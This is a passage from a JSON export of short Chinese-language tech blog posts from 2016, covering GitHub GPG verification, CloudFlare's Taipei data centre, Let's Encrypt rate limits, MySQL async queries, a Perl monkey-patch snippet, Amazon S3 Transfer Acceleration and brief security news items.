    "body": "<a href=\"https://github.com/\">GitHub</a> 推出一個超級重要的功能，確認 GPG sign 的正確性：「<a href=\"https://github.com/blog/2144-gpg-signature-verification\">GPG signature verification</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Sff5BiY.webp\" /><img src=\"https://i.gslin.com/imgur/Sff5BiY.jpg\" alt=\"\" /></picture>\r\n\r\n之前被同事複製了一份 <code>.gitconfig</code> 與 <code>.gitconfig.local</code> 後沒有修改裡面的內容，結果我在收到 diff mail 的時候看了半天想說「我什麼時候寫出這樣的 code」... -_-\r\n\r\n不知道什麼時候會有「擋沒有 GPG sign」的功能，有的話就更好了 :o",
    "title": "GitHub 支援 GPG sign"
  },
  {
    "id": "6477",
    "body": "目前 <a href=\"https://www.php.net/\">PHP</a> 上最重量級的軟體，<a href=\"https://getcomposer.org/\">Composer</a>，推出 1.0 版了：「<a href=\"https://seld.be/notes/composer-goes-gold\">Composer goes Gold</a>」。\r\n\r\n然後作者女朋友想到奇怪的點子：\r\n\r\n<blockquote>My girlfriend had a brilliant idea, and a few days and a couple express deliveries later here we are. We made an actual Composer gold master copy of the 1.0 release, on a floppy!</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/CWjpxlO.jpg\" alt=\"\" />\r\n\r\n這張黃金磁片在 <a href=\"https://www.ebay.com/\">eBay</a> 上競標中 XDDD",
    "title": "PHP 的 Composer 推出 1.0 版"
  },
  {
    "id": "6480",
    "body": "在「<a href=\"http://blogs.aws.amazon.com/security/post/Tx2M9XYV2FNQ483/Frequently-Asked-Questions-About-Compliance-in-the-AWS-Cloud\">Frequently Asked Questions About Compliance in the AWS Cloud</a>」這邊 <a href=\"https://aws.amazon.com/\">AWS</a> 的人列出一張表，提供了 AWS 目前所通過的認證以及證書資料。\r\n\r\n舉例來說，在「<a href=\"https://aws.amazon.com/compliance/iso-27001-faqs/\">ISO 27001 Compliance</a>」這邊就有提供證書的 PDF 版本：「<a href=\"https://d0.awsstatic.com/certifications/iso_27001_global_certification.pdf\">https://d0.awsstatic.com/certifications/iso_27001_global_certification.pdf</a>」。\r\n\r\n但也有一些證書是沒有給出來的，應該是要另外跟 AWS 要...",
    "title": "AWS 通過的認證的證書資料連結"
  },
  {
    "id": "6481",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到在 terminal 下的 email client，<a href=\"http://www.mutt.org/\">Mutt</a>，推出 1.6 版了...\r\n\r\n上次出版是 June 9, 2007，八年多前因為 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2683\">CVE-2007-2683</a> 與 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1558\">CVE-2007-1558</a> 而更新的。\r\n\r\n雖然 <a href=\"https://www.debian.org/\">Debian</a> 跟 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的 apt repository 都是跟 1.5.x 版，但還是很值得紀念一下 XDDD",
    "title": "Mutt 1.6 出版，距離上個穩定版本八年多了..."
  },
  {
    "id": "6482",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到三年前的舊文章，講自適應演算法取代常見的 A/B testing：「<a href=\"http://stevehanov.ca/blog/index.php?id=132\">20 lines of code that will beat A/B testing every time</a>」。\r\n\r\n就拿原文裡面的例子來說明，我想要測試 \"Buy Now!\" 這個按鈕的顏色來得知哪個顏色的 click rate 最高，而我有 Orange、Green 以及 White 三種顏色為候選。\r\n\r\n一開始我初始值都設為「展示了 1 次，被點擊了 1 次」，所以每個點擊率都是 100%：\r\n\r\n<table>\r\n<tr><th>Orange</th><th>Green</th><th>White</th></tr>\r\n<tr><td>1/1 = 100%</td><td>1/1=100%</td><td>1/1=100%</td></tr>\r\n</table>\r\n\r\n然後你的網站上只要展示「點擊率最高的那個顏色」，並且記錄下來展示次數與點擊率就好，而整個過程會是自適應而被自動被淘汰掉，最後可能會變成這樣，就會固定是綠色的了：\r\n\r\n<table>\r\n<tr><th>Orange</th><th>Green</th><th>White</th></tr>\r\n<tr><td>114/4071 = 2.8%</td><td>205/6385=3.2%</td><td>59/2264=2.6%</td></tr>\r\n</table>\r\n\r\n而這樣做的好處是節省人力成本：你不需要 A/B Testing 完後再人工介入修改。\r\n\r\n對於更複雜的例子，雖然原文沒有提到，但你可以直接展開來做，舉例來說，你假設顏色與地區兩個變數所帶出來的 click rate 不是 <a href=\"https://en.wikipedia.org/wiki/Independent_and_identically_distributed_random_variables\">i.i.d.</a>，那麼你可以針對每個 Color + Region 都存數值去比較。\r\n\r\n當然還是有他的問題 (comment 有提到)，不過可以架出一些全自動的 workaround 來解決，比起要兩階段人工介入省了不少人力。\r\n\r\n另外可以想像在大的產品上會遇到效能問題 (因為對同樣資料大量的 read + write)，但這個數字不需要太即時，只要量大就會準確，所以技術上也可以解決...",
    "title": "自適應演算法與 A/B Testing"
  },
  {
    "id": "6483",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 支援 <a href=\"https://nodejs.org/\">Node.js</a> 4.3：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/04/aws-lambda-supports-node-js-4-3/\">AWS Lambda Supports Node.js 4.3</a>」：\r\n\r\n<blockquote>You can now develop your AWS Lambda functions using Node.js 4.3.2 in addition to Node.js 0.10.4.</blockquote>\r\n\r\n另外同步在「<a href=\"https://aws.amazon.com/blogs/compute/node-js-4-3-2-runtime-now-available-on-lambda/\">Node.js 4.3.2 Runtime Now Available on Lambda</a>」這邊也有文章介紹。\r\n\r\n這樣總算可以拿出新的套件以及語法了...",
    "title": "AWS Lambda 支援 Node.js 4.3"
  },
  {
    "id": "6484",
    "body": "看到 <a href=\"https://www.apple.com/mac/\">Mac</a> 上的「<a href=\"https://github.com/mortenjust/cleartext-mac\">Cleartext</a>」這個軟體：\r\n\r\n<blockquote>A text editor that only allows the 1,000 most common words in English</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/y3w4tR9.gif\" alt=\"\" />\r\n\r\n限制你使用比較簡單的英文，這樣可以讓讀的人比較容易了解 (尤其是非母語的人)。\r\n\r\n有種跟 <a href=\"https://en.wikipedia.org/wiki/Simple_English_Wikipedia\">Simple English Wikipedia</a> 的想法很像的感覺：\r\n\r\n<blockquote>The project uses around 2,000 common English words, and is based on Basic English, an 850-word auxiliary international language created by Charles Kay Ogden in the 1920s.</blockquote>\r\n\r\n另外還有提供 Trump mode XDDD：\r\n\r\n<blockquote>Trained with a few of Trump's best known speeches, the app is now ready to help you write like a billionaire.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/lZ1yw8X.gif\" alt=\"\" />\r\n\r\n這好壞 XDDD",
    "title": "Mac 上的 Cleartext"
  },
  {
    "id": "6485",
    "body": "前陣子開始用 <a href=\"https://www.netflix.com/\">Netflix</a> 看流言終結者，但以往看動畫已經習慣至少兩倍速了，舊址好找看看電腦上有沒有方案可以加速。\r\n\r\n還頗幸運的是，早就有人把方法找出來了：「<a href=\"https://www.pantz.org/software/chrome/netflix_streaming_playback_speed_and_hidden_menus.html\">Netflix streaming playback speed and hidden menus</a>」。\r\n\r\nNetflix 在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 上面用 HTML5 player，而就有 extension 可以對 HTML5 player 加速：「<a href=\"https://chrome.google.com/webstore/detail/video-speed-controller/nffaoalbilbmmfgbnbgppjihopabppdk\">Video Speed Controller</a>」。\r\n\r\n這樣消化影片的速度就快多了 :p",
    "title": "用瀏覽器看 Netflix 加速播放"
  },
  {
    "id": "6486",
    "body": "<a href=\"https://wordpress.com/\">WordPress.com</a> 宣佈將全面提供 HTTPS 服務：「<a href=\"https://en.blog.wordpress.com/2016/04/08/https-everywhere-encryption-for-all-wordpress-com-sites/\">HTTPS Everywhere: Encryption for All WordPress.com Sites</a>」。\r\n\r\n其中 wordpress.com 應該是買 wildcard SSL certificate 來做，而 custom domain 的部份將會透過 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 來做：\r\n\r\n<blockquote>The Let’s Encrypt project gave us an efficient and automated way to provide SSL certificates for a large number of domains. We launched the first batch of certificates in January 2016 and immediately started working with Let’s Encrypt to make the process smoother for our massive and growing list of domains.</blockquote>\r\n\r\n這包括了對 SPDY + HTTP/2 的支援，使得 HTTPS 的速度不比 HTTP 差 (甚至更快)。",
    "title": "WordPress.com 將全面提供 HTTPS 服務"
  },
  {
    "id": "6487",
    "body": "剛剛發現 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 的 latency 掉下來了...\r\n\r\n這是從中華電信機房內 <a href=\"https://smokeping-hinet-tpe-1.kkbox.com.tw/smokeping/?target=CDN.www_cloudflare_com\">smokeping-hinet-tpe-1.kkbox.com.tw</a> 的資料：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CXTE6XE.webp\" /><img src=\"https://i.gslin.com/imgur/CXTE6XE.jpg\" alt=\"\" /></picture>\r\n\r\n這是從遠傳機房 <a href=\"https://smokeping-fetnet-tpe-1.kkbox.com.tw/smokeping/?target=CDN.www_cloudflare_com\">smokeping-fetnet-tpe-1.kkbox.com.tw</a> 的資料：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QzG2QZy.webp\" /><img src=\"https://i.gslin.com/imgur/QzG2QZy.jpg\" alt=\"\" /></picture>\r\n\r\n不過台灣固網的 <a href=\"https://smokeping-tfn-tpe-1.kkbox.com.tw/smokeping/?target=CDN.www_cloudflare_com\">smokeping-tfn-tpe-1.kkbox.com.tw</a> 還沒看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tb1ajsq.webp\" /><img src=\"https://i.gslin.com/imgur/tb1ajsq.jpg\" alt=\"\" /></picture>\r\n\r\n沒有意外的話，應該是過幾天就會公佈了？接下來要觀察效能了...",
    "title": "CloudFlare 在台灣有機房了"
  },
  {
    "id": "6488",
    "body": "在 <a href=\"http://www.techbang.com/\">T客邦</a> 上面看到講 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 上清 cookie 的機制，提到了「<a href=\"https://chrome.google.com/webstore/detail/vanilla-cookie-manager/gieohaicffldbmiilohhggbidhephnjj\">Vanilla Cookie Manager</a>」這個套件：「<a href=\"http://www.techbang.com/posts/42341-how-to-automatically-clear-the-cookie-in-order-to-protect-a-website-funded\">【Chrome安全技巧】如何自動清除網站的 cookie 以保護個資？</a>」。\r\n\r\n現在應該已經不需要用這個套件了，至少在 2012 年的時候 Google Chrome 就已經內建這個功能了：「<a href=\"https://blog.gslin.org/archives/2012/10/16/3009/google-chrome-%E4%B8%8A%E7%9A%84-cookie-%E9%9A%B1%E7%A7%81%E6%A9%9F%E5%88%B6/\">Google Chrome 上的 Cookie 隱私機制...</a>」，在 2012 年提到的問題已經消失了，現在用起來都很正常，而且可以透過 Google Chrome 內建的機制同步到不同電腦上。\r\n\r\n先到「設定」裡面，展開「顯示進階設定...」後可以看到這個：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gKJAW1R.webp\" /><img src=\"https://i.gslin.com/imgur/gKJAW1R.jpg\" alt=\"\" /></picture>\r\n\r\n點「內容設定」後可以看到「Cookie」的部份，<strong>選擇「將本機資料保留到您關閉瀏覽器為止」，可以在關閉瀏覽器時自動把 cookie 都清掉</strong>，另外<strong>選擇「封鎖第三方 Cookie 和網站資料」可以防止不少廣告系統的個人化追蹤，造成隱私問題</strong>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3cHNdwW.webp\" /><img src=\"https://i.gslin.com/imgur/3cHNdwW.jpg\" alt=\"\" /></picture>\r\n\r\n但我不希望每次重開瀏覽器都要重新登入 <a href=\"https://www.facebook.com/\">Facebook</a>、<a href=\"https://twitter.com/\">Twitter</a> 這類網站，那麼就點「管理例外狀況」後輸入白名單，這樣就可以避免了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mlsUTwU.webp\" /><img src=\"https://i.gslin.com/imgur/mlsUTwU.jpg\" alt=\"\" /></picture>",
    "title": "Google Chrome 上面清 Cookie 的機制"
  },
  {
    "id": "6491",
    "body": "這整個週末都在跟 <a href=\"http://search.cpan.org/dist/Net-DNS/\">Net::DNS</a> 奮戰 <a href=\"https://datatracker.ietf.org/doc/draft-ietf-dnsop-edns-client-subnet/\">edns-client-subnet</a>，遇到模組內的一小段程式有 bug，先用 monkey patch 硬上，之後再看看要怎麼丟 patch 回 upstream。\r\n\r\nmonkey patch 的方法主要是參考「<a href=\"https://stackoverflow.com/questions/449690/how-can-i-monkey-patch-an-instance-method-in-perl\">How can I monkey-patch an instance method in Perl?</a>」這邊提供的方法而來的。\r\n\r\n由於實際的行為是 subroutine redefined (會產生警告訊息)，所以要局部關掉 warnings，然後再把整個 subroutine 換掉：\r\n\r\n<pre>use BugPackage;\r\n\r\n{\r\n    no warnings;\r\n    local *BugPackage::bug_function = sub {\r\n        # new code\r\n    };\r\n}</pre>\r\n\r\n這樣可以在不修改原始模組程式碼的情況下抽換。",
    "title": "Perl 上的 Monkey Patch"
  },
  {
    "id": "6493",
    "body": "如同前幾天在「<a href=\"https://blog.gslin.org/archives/2016/04/09/6487/cloudflare-%E5%9C%A8%E5%8F%B0%E7%81%A3%E6%9C%89%E6%A9%9F%E6%88%BF%E4%BA%86/\">CloudFlare 在台灣有機房了</a>」所提到的，<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 正式在 blog 上宣佈 Taipei PoP 了：「<a href=\"https://blog.cloudflare.com/taipei/\">Taipei: CloudFlare’s 77th Data Center is Now Live</a>」。\r\n\r\n一個有趣的花邊是 CloudFlare CEO Matthew Prince 在 <a href=\"https://twitter.com/\">Twitter</a> 上提到的事情：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\"><a href=\"https://twitter.com/PeterDaveHello\">@PeterDaveHello</a> working with HiNet has been… challenging.</p>&mdash; Matthew Prince (@eastdakota) <a href=\"https://twitter.com/eastdakota/status/718314070487777280\">April 8, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n另外在 <a href=\"https://kaif.io/\">kaif</a> 上 <a href=\"https://ingramchen.io/\">IngramChen</a> 也有提到因為 CloudFlare 開台後空出來的國際頻寬，讓 <a href=\"http://www.hinet.net/\">HiNet</a> 到新加坡的機器變快 (<a href=\"https://kaif.io/z/devops/debates/mBhkTgFVgj\">CloudFlare 在台灣有機房了</a>)：\r\n\r\n<blockquote>CloudFlare 在台灣有機房，代表從台灣出去海外的頻寬瞬間 \"空\" 了一大塊。\r\n\r\n就算你的服務沒用到 CloudFlare，也會因為頻寬空出來，你放在海外的站在台灣用起來也會快了一點。</blockquote>",
    "title": "CloudFlare 正式公開 Taipei PoP 了"
  },
  {
    "id": "6495",
    "body": "<a href=\"https://letsencrypt.tw/\">Let's Encrypt</a> 宣佈脫離 beta，正式開放：「<a href=\"https://letsencrypt.org/2016/04/12/leaving-beta-new-sponsors.html\">Leaving Beta, New Sponsors</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lMf3cDe.webp\" /><img src=\"https://i.gslin.com/imgur/lMf3cDe.jpg\" alt=\"\" /></picture>\r\n\r\n翻資料的時候發現在今年 3/26 的時候，限制已經放寬了：「<a href=\"https://community.letsencrypt.org/t/rate-limits-for-lets-encrypt/6769\">Rate Limits for Let’s Encrypt</a>」。\r\n\r\n首先一張證書只能包括 100 個 hostname，跟原來相同：\r\n\r\n<blockquote>Names/Certificate is the limit on how many domain names you can include in a single certificate. This is currently limited to 100 names, or websites, per certificate issued.</blockquote>\r\n\r\n再來是每個禮拜可以申請的數量從 5 個 hostname 變成 20 個，另外本來 renew 也算 quota，現在變成不會吃到 quota：\r\n\r\n<blockquote>Certificates/Domain limits how many certificates can be issued that contain a single registered domain*.\r\nThis is limited to 20 certificates per domain per week. Exception: When you request a certificate with the same exact set of FQDNs as previously-issued certificate, this rate limit does not apply, but the one below does.</blockquote>\r\n\r\n不知道會不會再放寬限制...",
    "title": "Let's Encrypt 宣佈脫離 Beta"
  },
  {
    "id": "6496",
    "body": "在「<a href=\"http://framework.zend.com/blog/zend-framework-1-12-18-released.html\">Zend Framework 1.12.18 Released!</a>」這邊看到因為「<a href=\"http://framework.zend.com/security/advisory/ZF2016-01\">ZF2016-11: Potential Insufficient Entropy Vulnerability in ZF1</a>」而推出新版的消息...\r\n\r\n另外在「<a href=\"http://framework.zend.com/changelog/1.12.18\">Changelog 1.12.18</a>」這頁可以看到還是有一些 bugfix，所以其實都還是有在維護？(記憶中以為現在沒在管了...)",
    "title": "原來 ZendFramework 1 還有在出新版..."
  },
  {
    "id": "6497",
    "body": "在 social network 上掃了一堆照片後，路上隨便拍照讓程式自動人肉搜索找出可能的對象：「<a href=\"http://rbth.com/science_and_tech/2016/04/12/russian-photographer-matches-random-people-with-social-network-photos_584153\">Russian photographer matches random people with social network photos</a>」。\r\n\r\n這個計畫叫做「YOUR FACE IS BIG DATA」，作者的照片來源是來自俄羅斯最大的社交網站 <a href=\"https://vk.com/\">VKontakte</a>，而計畫的網站在「<a href=\"https://birdinflight.com/ru/vdohnovenie/fotoproect/06042016-face-big-data.html\">Конец анонимности: Идентификация случайных попутчиков</a>」這邊，可以連進去看他自動找出來的圖。\r\n\r\n演算法本身並不難，有種老大哥計畫的感覺... 可以想像 <a href=\"https://www.facebook.com/\">Facebook</a>、<a href=\"https://instagram.com/\">Instagram</a> 或是 VKontakte 如果自己做了之後拿給政府單位用的情況？",
    "title": "拍照後讓程式自動人肉搜索 Social Network 上的照片..."
  },
  {
    "id": "6498",
    "body": "前幾天 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 接通遠傳時應該是去回不同路，所以還是有 20ms 左右的 latency：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QzG2QZy.webp\" /><img src=\"https://i.gslin.com/imgur/QzG2QZy.jpg\" alt=\"\" /></picture>\r\n\r\n剛剛發現遠傳已經完全接通了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CjwHS4s.webp\" /><img src=\"https://i.gslin.com/imgur/CjwHS4s.jpg\" alt=\"\" /></picture>\r\n\r\n遠傳對 CloudFlare 的 latency 應該又會再好一些。",
    "title": "CloudFlare 接通遠傳..."
  },
  {
    "id": "6500",
    "body": "作者繼續以 A Billion Taxi Rides 的資料測試各種差異，這次測了 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 與 <a href=\"https://en.wikipedia.org/wiki/HDFS\">HDFS</a> 的速度差異：「<a href=\"http://tech.marksblogg.com/billion-nyc-taxi-rides-s3-vs-hdfs.html\">A Billion Taxi Rides: AWS S3 versus HDFS</a>」。\r\n\r\n前半部都在說明測試的環境設定，重點在文章的最後面 (也就是「Benchmarking HDFS」這段)，裡面有各種 query 的速度。HDFS 的速度大約是 Amazon S3 的 1.25 到 1.75 倍，作者給的結論是：\r\n\r\n<blockquote>Though the speed improvements using HDFS are considerable, S3 did perform pretty well. At worst there's a 1.75x overhead in exchange for virtually unlimited scalability, 11 9's of durability and no worrying about over/under-provisioning storage space.</blockquote>\r\n\r\n雖然 HDFS 比較快，但 Amazon S3 其實表現的不錯，另外資料安全性 (平均 99.999999999%，也就是 11 個 9 的 durability) 及不需要怕空間不夠的優點也是應該考慮進去的因素。",
    "title": "Amazon S3 與 HDFS 的速度差異"
  },
  {
    "id": "6502",
    "body": "在「<a href=\"http://mysqlserverteam.com/mysql-5-7-12-part-2-improving-the-mysql-protocol/\">MySQL 5.7.12 – Part 2: Improving the MySQL Protocol</a>」這邊看到介紹 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 Asynchronous API，藉由 pipeline 加速查詢。\r\n\r\n本來的：\r\n\r\n<pre>res_1 = conn.query(\"DO 1\");\r\nres_2 = conn.query(\"DO 2\");</pre>\r\n\r\n會產生這樣的 flow：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lzzNRfl.webp\" /><img src=\"https://i.gslin.com/imgur/lzzNRfl.jpg\" alt=\"\" /></picture>\r\n\r\n而 Asynchronous API 可以這樣寫，先把兩個 SQL query 都丟出去，然後等結果：\r\n\r\n<pre>hndl_1 = conn.query_send(\"DO 1\");\r\nhndl_2 = conn.query_send(\"DO 2\");\r\n\r\n# wait for completion\r\nres_1 = conn.query_recv(hndl_1);\r\nres_2 = conn.query_recv(hndl_2);</pre>\r\n\r\n也就是產生這樣的 flow：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/83tpdvE.webp\" /><img src=\"https://i.gslin.com/imgur/83tpdvE.jpg\" alt=\"\" /></picture>\r\n\r\n感覺 <a href=\"https://www.php.net/\">PHP</a> 上只要 <a href=\"https://www.php.net/manual/book.pdo.php\">PDO</a> 改善這塊後，各家 ORM library 就可以支援受益...",
    "title": "MySQL 5.7 的 Pipeline 查詢加速"
  },
  {
    "id": "6503",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2015/09/15/5973/%E6%9B%B4%E7%B5%A2%E9%BA%97%E7%9A%84-gdbinit-%E6%AA%94/\">更絢麗的 .gdbinit 檔</a>」這篇裡面提過「<a href=\"https://github.com/cyrus-and/gdb-dashboard\">GDB dashboard</a>」這組設定，以及用 <a href=\"https://www.python.org/\">Python</a> 寫的的加強工具。\r\n\r\n在「<a href=\"https://github.com/snare/voltron\">A hacky debugger UI for hackers</a>」這邊則看到了另外一套也是 Python 寫的工具，叫做 Voltron：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Fz8FdgJ.webp\" /><img src=\"https://i.gslin.com/imgur/Fz8FdgJ.jpg\" alt=\"\" /></picture>\r\n\r\n比較一下原來 GDB dashboard 的畫面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/io1ZO79.webp\" /><img src=\"https://i.gslin.com/imgur/io1ZO79.jpg\" alt=\"\" /></picture>\r\n\r\n其實兩者看起來都還蠻棒的？用的習慣最重要...",
    "title": "也是個加強 Debugger UI 的套件：Voltron"
  },
  {
    "id": "6504",
    "body": "關於 <a href=\"https://www.samba.org/\">Samba</a> 與 <a href=\"https://www.microsoft.com/windows/\">Windows</a> 網芳的安全性問題，拖了三個禮拜的「<a href=\"http://badlock.org/\">Badlock Bug</a>」的細節總算公佈了 (網頁還不支援 HTTPS)。\r\n\r\n果然是為了打名氣而事前公佈的... 都不是無條件的 RCE (Remote Code Execution)，而是透過 MITM 後的 RCE。",
    "title": "Badlock Bug 總算公佈了..."
  },
  {
    "id": "6505",
    "body": "<a href=\"https://www.namecheap.com/\">Namecheap</a> 缺乏安全概念又被暴露出來了，這次是 VPS 帳號被打進去：「<a href=\"http://www.postphp.com/namecheap-livechat-social-engineering-leads-to-loss-of-2-vps/\">Namecheap live chat social engineering leads to loss of 2 VPS</a>」。\r\n\r\n文章作者的 mail account 被攻陷，於是攻擊者就到處找他有註冊的帳號。作者在 Namecheap 的帳號雖然開了 2FA，但是 Namecheap 的 VPS console 不支援 2FA，於是就透過 Live Chat 給 social engineering 掉重設密碼進去了。\r\n\r\n作者馬上連進去關機，然後攻擊者又打開，來回許多次後，攻擊者決定選擇重新安裝系統直接毀掉 VPS。\r\n\r\n文章作者本來以為 Namecheap 會有備份資料 (可能會有掉一些資料)，結～果～完～全～沒～有～備～份～\r\n\r\n整個就是糟透了...",
    "title": "Namecheap 被 Social Engineering 進 VPS 帳號並且毀掉資料"
  },
  {
    "id": "6507",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/zmx\">zmx</a> 提到：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"ja\" dir=\"ltr\">VMWare 官方出的 rvc (ruby) 是 CLI，員工出的 pvc (python) 是 TUI，讓我以為 OS X 沒 CLI client 用好久。</p>&mdash; Bill Zhong (@zmx) <a href=\"https://twitter.com/zmx/status/720159700864540673\">April 13, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n其中 <a href=\"https://labs.vmware.com/flings/rvc\">Ruby vSphere Console</a> (rvc) 被標成 deprecated：\r\n\r\n<blockquote>Note: This Fling is deprecated, so the download is no longer available, and it will not be updated. Also, feedback is no longer monitored.</blockquote>\r\n\r\n而 <a href=\"https://github.com/dnaeon/pvc\">Python vSphere Client with a dialog(1) interface</a> (pvc) 看起來比較新：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iLhfAET.webp\" /><img src=\"https://i.gslin.com/imgur/iLhfAET.jpg\" alt=\"\" /></picture>\r\n\r\n不過我自己測試後發現死在 SSL certificate 上，之後再來研究要怎麼閃開吧...",
    "title": "Terminal 下操作 VMware 的 vSphere"
  },
  {
    "id": "6508",
    "body": "<a href=\"https://stripe.com/\">Stripe</a> 在宣佈要淘汰 TLS 1.0 與 TLS 1.1 的計畫公告中 (「<a href=\"https://stripe.com/blog/upgrading-tls\">Upgrading to SHA-2 and TLS 1.2</a>」) 提到了：\r\n\r\n<blockquote>Why SHA-1, TLS 1.0 and 1.1 are insecure</blockquote>\r\n\r\n但在文章裡面還是沒有提到為什麼 TLS 1.1 不安全。\r\n\r\n在維基百科的「<a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">Transport Layer Security</a>」條目中試著找內容，發現應該是 Data integrity 這段，TLS 1.1 不支援 HMAC-SHA256/384 與 <a href=\"https://en.wikipedia.org/wiki/Authenticated_encryption\">AEAD</a>，只支援比較弱的 HMAC-MD5 或是 HMAC-SHA1。",
    "title": "Stripe 所提到的 TLS 1.1 不安全"
  },
  {
    "id": "6511",
    "body": "<a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 推出了新的加速功能，並且向更多地區提供 <a href=\"https://aws.amazon.com/importexport/\">AWS Import/Export Snowball</a> 服務：「<a href=\"https://aws.amazon.com/blogs/aws/aws-storage-update-amazon-s3-transfer-acceleration-larger-snowballs-in-more-regions/\">AWS Storage Update – Amazon S3 Transfer Acceleration + Larger Snowballs in More Regions</a>」。\r\n\r\n其中的 Amazon S3 Transfer Acceleration 只要把本來的 <code>BUCKET_NAME.s3.amazonaws.com</code> 或是帶有地區的 <code>BUCKET_NAME.s3-region.amazonaws.com</code> 變成 <code>BUCKET_NAME.s3-accelerate.amazonaws.com</code> 就可以了，他會透過 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 的節點做 proxy，並且透過 AWS 內部最佳化過的網路傳輸。\r\n\r\n由於這是定位為 Amazon S3 的服務，而實際測試後也確認不會有 cache：他的目的在於降低 latency 而加速，而不是 cache 加速，所以大量 GET 相同內容的部份應該還是用 CloudFront 會比較好。\r\n\r\n再來是費用的部份增加相當多，第一筆要收的是 CloudFront 的費用，再來才是計算 Transfer Acceleration 的費用：\r\n\r\n<blockquote>Transfer Acceleration pricing is in addition to Data Transfer pricing.</blockquote>\r\n\r\n從 Internet 進 CloudFront 再進 Amazon S3 的要收 USD$0.04/GB (透過在美國、歐洲或是日本的 CloudFront 節點) 或 USD$0.08/GB (透過其他 CloudFront 節點)。\r\n\r\n另外要收的是從 Amazon S3 一路傳到 Internet 的部份，USD$0.04/GB。如果是傳到其他 AWS region 的話，也是 USD$0.04/GB。\r\n\r\n不過他有效能保證條款 (雖然掌控全不在自己)，<a href=\"https://aws.amazon.com/\">AWS</a> 會持續監控有沒有比較快，如果沒有的話系統會 bypass 回原來的 Amazon S3：\r\n\r\n<blockquote>Each time you use Transfer Acceleration to upload an object, we will check whether Transfer Acceleration is likely to be faster than a regular Amazon S3 transfer. If we determine that Transfer Acceleration is not likely to be faster than a regular Amazon S3 transfer of the same object to the same destination AWS region, we will not charge for that use of Transfer Acceleration for that transfer, and may bypass the Transfer Acceleration system for that upload.</blockquote>\r\n\r\n我本來以為會是在 DNS 層 bypass 回本來的 region，結果發現是 307 redirect 重導回 Amazon S3 上，效能上應該還是會差一些...\r\n\r\n可以看出這個架構的特性主要還是用在上傳的部份，而且用在網路不穩定的環境下很重要 (像是電信網路上的行動裝置)，因為 latency 的減少會對於 packet loss 造成的 retry 有很大的幫助。\r\n\r\n下載的部份應該會比本來 Amazon S3 快 (因為 Amazon 本身會加速)，但由於沒有 cache，除非有特殊需求，不然建議不要這樣規劃。\r\n\r\n另外一個是 AWS Import/Export Snowball 推出的新硬體，以及新區域。\r\n\r\n新硬體是 80TB 的版本，本來只有 50TB 的版本：\r\n\r\n<blockquote>The original Snowball appliances had a capacity of 50 terabytes. Today we are launching a newer appliance with 80 terabytes of capacity. </blockquote>\r\n\r\n而新區域包括了 AWS GovCloud (US)、US West (Northern California)、Europe (Ireland) 以及 Asia Pacific (Sydney) 這三區：\r\n\r\n<blockquote>Today we are making Snowball available in four new Regions: AWS GovCloud (US), US West (Northern California), Europe (Ireland), and Asia Pacific (Sydney). We expect to make Snowball available in the remaining AWS Regions in the coming year.</blockquote>\r\n\r\n其中 80TB 版本只在這三區生效，其他區可以選擇 50TB 或是 80TB 版本：\r\n\r\n<blockquote>If you are transferring data in or out of the US East (Northern Virginia), US West (Oregon), US West (Northern California), or AWS GovCloud (US) Regions using Snowball you can choose the desired capacity. If you are transferring data in or out of the Europe (Ireland) or Asia Pacific (Sydney) Regions, you will use the 80 terabyte appliance.</blockquote>\r\n\r\n日本還是沒進場...",
    "title": "Amazon S3 推出加速功能"
  },
  {
